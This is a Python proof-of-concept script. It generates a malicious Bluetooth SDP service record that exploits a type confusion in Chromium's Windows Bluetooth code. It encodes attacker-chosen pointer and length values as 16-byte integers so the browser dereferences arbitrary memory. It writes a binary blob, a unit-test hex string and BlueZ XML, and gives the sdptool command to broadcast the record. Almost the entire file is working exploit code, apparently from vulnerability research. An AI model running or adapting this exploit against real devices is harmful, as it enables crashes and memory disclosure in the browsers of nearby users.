#!/usr/bin/env python3
"""
Generate a malicious Bluetooth SDP service-record blob that triggers the
SDP_ELEMENT_DATA union type-confusion in Chromium's BluetoothServiceRecordWin.

The blob is a structurally-valid SDP attribute list in which attribute
0x0004 (ProtocolDescriptorList) and attribute 0x0001 (ServiceClassIDList)
are encoded as 16-byte unsigned integers (data-element header 0x0C,
type=UINT size-index=4) instead of the spec-mandated DATA ELEMENT SEQUENCE.

When the Windows API BluetoothSdpGetAttributeValue() parses such an
attribute it returns type=SDP_TYPE_UINT / specificType=SDP_ST_UINT128 and
stores the 16 attacker-controlled bytes in SDP_ELEMENT_DATA.data.uint128.
On x64 those 16 bytes overlay:

    data.sequence.value   (LPBYTE, 8 bytes, union offset 0)
    data.sequence.length  (ULONG,  4 bytes, union offset 8)

Chromium then calls BluetoothSdpGetContainerElementData(value, length, ...)
without checking .type, so the browser process dereferences an
attacker-chosen pointer over an attacker-chosen length.

Usage:
    python3 gen_malicious_sdp.py [target_va_hex] [length]

Outputs:
    - hex string (suitable for the BluetoothServiceRecordWin unit test)
    - raw bytes to malicious_sdp.bin
    - BlueZ sdptool XML to malicious_sdp.xml
"""

import struct
import sys

# ---- SDP data-element header byte = (type << 3) | size_index ----
# type 1 = unsigned int, type 3 = UUID, type 6 = sequence
H_UINT16  = 0x09   # (1<<3)|1  -> 2-byte uint  (used for attribute IDs)
H_UINT128 = 0x0C   # (1<<3)|4  -> 16-byte uint (the confusion payload)
H_SEQ8    = 0x35   # (6<<3)|5  -> sequence, next 1 byte = length

def de_uint16(v: int) -> bytes:
    return bytes([H_UINT16]) + struct.pack(">H", v)

def de_uint128_raw(raw16: bytes) -> bytes:
    assert len(raw16) == 16
    return bytes([H_UINT128]) + raw16

def de_seq8(payload: bytes) -> bytes:
    assert len(payload) < 256
    return bytes([H_SEQ8, len(payload)]) + payload

def build_uint128_payload(target_va: int, length: int) -> bytes:
    """
    16 wire bytes that, after Windows parses them into
    SDP_ULARGE_INTEGER_16 { ULONGLONG LowPart; ULONGLONG HighPart; },
    place `target_va` over data.sequence.value (LPBYTE @ offset 0) and
    `length` over data.sequence.length (ULONG @ offset 8).

    NOTE: SDP integers are big-endian on the wire. The exact mapping the
    Windows parser applies between the 16 wire bytes and LowPart/HighPart
    is not publicly documented; the layout below assumes
        LowPart  <- byteswap(wire[8:16])
        HighPart <- byteswap(wire[0:8])
    If empirical testing on Windows shows a different mapping, swap the
    two halves (or use the UINT64 variant: header 0x0B + 8 bytes, which
    controls only sequence.value and leaves sequence.length as
    uninitialised stack -- still a wild read).
    """
    high = struct.pack(">Q", length & 0xFFFFFFFF)       # wire[0:8]  -> HighPart
    low  = struct.pack(">Q", target_va)                 # wire[8:16] -> LowPart
    return high + low

def build_record(target_va: int, length: int) -> bytes:
    payload16 = build_uint128_payload(target_va, length)

    body  = b""
    # attr 0x0000 ServiceRecordHandle = 0x00010001 (cosmetic, matches real records)
    body += de_uint16(0x0000) + bytes([0x0A]) + struct.pack(">I", 0x00010001)
    # attr 0x0001 ServiceClassIDList  = UINT128  <-- type-confused (ExtractUuid path)
    body += de_uint16(0x0001) + de_uint128_raw(payload16)
    # attr 0x0004 ProtocolDescriptorList = UINT128  <-- type-confused (ExtractChannels path)
    body += de_uint16(0x0004) + de_uint128_raw(payload16)
    # attr 0x0100 ServiceName = "POC"
    body += de_uint16(0x0100) + bytes([0x25, 0x03]) + b"POC"

    return de_seq8(body)

def bluez_xml(target_va: int, length: int) -> str:
    raw16 = build_uint128_payload(target_va, length)
    hex16 = raw16.hex()
    # BlueZ sdptool will happily register a record from XML; encoding a
    # uint128 for an attribute that "should" be a sequence is accepted
    # because sdptool does no semantic validation.
    return f"""<?xml version="1.0" encoding="UTF-8" ?>
<record>
  <attribute id="0x0001">
    <uint128 value="0x{hex16}" />
  </attribute>
  <attribute id="0x0004">
    <uint128 value="0x{hex16}" />
  </attribute>
  <attribute id="0x0100">
    <text value="POC" />
  </attribute>
</record>
"""

def main() -> None:
    # Default: obviously-unmapped kernel-space address -> guaranteed AV / ASAN wild-addr
    target_va = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0x4141414141414141
    length    = int(sys.argv[2], 0)  if len(sys.argv) > 2 else 0x1000

    blob = build_record(target_va, length)

    print(f"[*] target VA : 0x{target_va:016x}")
    print(f"[*] length    : 0x{length:x}")
    print(f"[*] blob size : {len(blob)} bytes")
    print()
    print("// Hex string for BluetoothServiceRecordWin unit test:")
    print(f'const char kMaliciousSdpBytes[] = "{blob.hex()}";')
    print()

    with open("malicious_sdp.bin", "wb") as f:
        f.write(blob)
    print("[+] wrote malicious_sdp.bin")

    with open("malicious_sdp.xml", "w") as f:
        f.write(bluez_xml(target_va, length))
    print("[+] wrote malicious_sdp.xml (register with: sdptool add --xml malicious_sdp.xml)")

if __name__ == "__main__":
    main()
